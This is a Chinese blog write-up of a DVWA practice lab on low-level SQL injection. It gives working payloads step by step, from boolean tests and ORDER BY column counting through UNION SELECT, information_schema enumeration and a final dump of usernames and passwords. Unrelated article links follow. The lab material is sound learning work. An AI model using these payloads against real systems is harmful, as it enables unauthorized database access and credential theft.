简单SQL注入试探、一
DVWA——简单SQL注入小记
前不久刚开始接触SQL注入,今天来记录一些最近的一些收获和一些SQL注入方面的知识。
主要是基于DVWA这个开源的平台来进行练习。
废话不多说开始解题。
从简单的SQL injection入手
Level:low
登陆后选择SQL injection

一开始看到一个普通的界面,输入ID进行查询。我们可以先进行简单的测试。

输入 1 and 1=1 和 1 or 1=1 发现搜索的结果是一样的。


于是我们猜测判断类型可能是字符串(后通过源码可查看到,事实也正如此)
输入 1' and '1'='1 和 1' or '1'='1 发现结果不同

后者可输出当前表中的所有记录
接下来我们判断该表中具有几列,一般用order by 来判断
我们尝试 1' order by 5# 、1' order by 4#... 最终在order by 2 时才为真,那么可判断该表只有两列

一般来说Level:low 不会过滤很多关键字或者说没有过滤关键字,所以我们直接用1' union select 1,2# 来看是否能联合查询

发现能成功进行联合查询,那么我们将1和2改为user()和database(),1' union select user(),database()#,即可获取该数据库的用户名和数据库名字。

我们能成功得到数据库的名字是dvwa,以及当前登陆的用户是root
然后我们要想办法获取dvwa中的表名,用1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#来获取由表名组成的长字段
该查询语句中,因为每条记录需输出两个字段,所以我们前面用select 1 来占用一个字段,后面用group_concat 函数将所有表名合成长字段后输出。
然后我们查看 information_schema.tables这个表,可以看到他里面包含了table_name列用来存放所有的表名,和table_schema列来存放所有表对应的数据库名字。

最后查到的结果为

我们可以得到dvwa数据库中包含了guestbook表和users表。而这个平台希望我们获取的是数据库里面所有的用户名和密码,那我们想办法查看users表就可以了。
用1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
与上一句不同的是,group_concat合并是的column_name,搜索的表是information_schema.columns ,判断的条件是table_name=xxx

于是我们就得到了users表中的所有列名,不难得知每个列名的意思,所以接下来我们只要查看user和password即可
用1' union select user,password from users#

即得到所有的用户名称和密码。
第一篇暂时先到这,因为如果太长估计也没心思看。
通过这个简单的实验,我们可以掌握一些基本的sql注入语句。
像order by 查列数 ,union select 联合查询,group_concat(column_name)函数将字段合并,以及information_schema.tables 和 information_schema.columns 两张表包含了所有的表名和列名, 还有最简单的database() 和user()。
熟练sql语句对sql注入有很大的帮助。
简单SQL注入试探、一的更多相关文章
- 简单SQL注入试探、二
DVWA——简单SQL注入小记 今天我们来记录简单的盲注过程 简单的SQL injection(blind) Level:low 登陆后选择SQL Injection(Blind) 能看到这样的界面 ...
- 简单sql注入学习
sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQ ...
- 简单SQL注入
既然是简单的,估计也就是''字符型把,输入'or'1 以下是输出结果,or没被过滤,单引号也没有 呢么用union联合注入试试,提交了'-1 union/**/select 1 and '1,发现回显 ...
- 简单sql注入学到的延时盲注新式攻击
0x01 知识点 mysql_pconnect(server,user,pwd,clientflag) mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接. mysql_p ...
- 一个简单sql注入的poc
最近在提高自己编程能力,拿一些实用的小工具练下.该脚本为python语言,主要涉及模块urllib,re. 功能:验证CmsEasy5.5爆账号密码 实验用源码:http://pan.baidu.co ...
- 简要了解web安全之sql注入
什么是sql注入? 通俗来讲就是通过 将可执行sql语句作为参数 传入查询sql 中,在sql编译过程中 执行了传入进来的恶意 sql,从而 得到 不应该查到或者不应该执行的sql语句,对网站安全,信 ...
- 初学JDBC,防SQL注入简单示例
在JDBC简单封装的基础上实现 public class UserDao{ public static void testGetUser(String userName) throws Excepti ...
- 实验吧_简单的sql注入_1、2、3
简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...
- 【实验吧】CTF_Web_简单的SQL注入之3
实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...
随机推荐
- 依靠MySQL(frm、MYD、MYI)数据文件恢复
该方法并不是适用于所有MySQL数据库 此次恢复是朋友那边的数据查不了了,请求我支援,出于各种心理原因,我答应试试,于是就有了这篇文章和这次经历,废话不多说.... 物理条件:宿机是Ubuntu16. ...
- Linux下如何安装Nginx
看这就够了 https://segmentfault.com/a/1190000012435644 注意如果是远程浏览器访问是否启动了nginx,出现无法访问 服务器能够启动.访问不了页面 很大可能是 ...
- Spring事务管理5-----声明式事务管理(3)
声明式事务管理 基于注解 在配置文件中需要开启注解驱动<tx:annotation-driven transaction-manager="transactionManager&qu ...
- centos6.x一直停留在进度条的问题
由于屏幕关闭加上长时间没有操作可能导致centos进行深度休眠,此时只能通过电源键来强制重启.可以通过修改X11的配置来禁止休眠,配置文件为/etc/X11/xorg.conf,注意修改此文件前记得备 ...
- windows下初安装xgboost
1.先检查一下自己的版本,如图python3.6,win64 我的之前环境是已经安装了anaconda. 2.去相关的网站下载 3.把下载的文件拷到此目录下(同pip在一个目录下) 4.cmd在此目录 ...
- 【计算机】DMA原理1
DMA原理:DMA(Direct Memory Access,直接内存存取) 是所有现代电脑的重要特色,它允许不同速度的硬件装置来沟通,而不需要依于 CPU 的大量中断负载.否则,CPU 需要从来源把 ...
- [转帖]你不曾见过的国产CPU:可能是最全的龙芯系列芯片家谱(下)
你不曾见过的国产CPU:可能是最全的龙芯系列芯片家谱(下) https://www.ijiwei.com/html/news/newsdetail?source=pc&news_id=7177 ...
- Django中的图片加载不出来解决方式记录
背景:Python3.6 + Django2.2 在模板中的html文件中引用图片时,在浏览器中图片总是显示不出来,上网查了很多解决方式,但是都没有解决问题,最终尝试了多次后得以解决,但不清楚原理: ...
- 用命令将本地项目上传到git
1.(先进入项目文件夹)通过命令 git init 把这个目录变成git可以管理的仓库 git init 2.把文件添加到版本库中,使用命令 git add .添加到暂存区里面去,不要忘记后面的小数点 ...
- ObjectMapper 对象和json相互转换
一.ObjectMapper ObjectMapper类是Jackson库的主要类.它提供一些功能将转换成Java对象匹配JSON结构,反之亦然.它使用JsonParser和JsonGenerator ...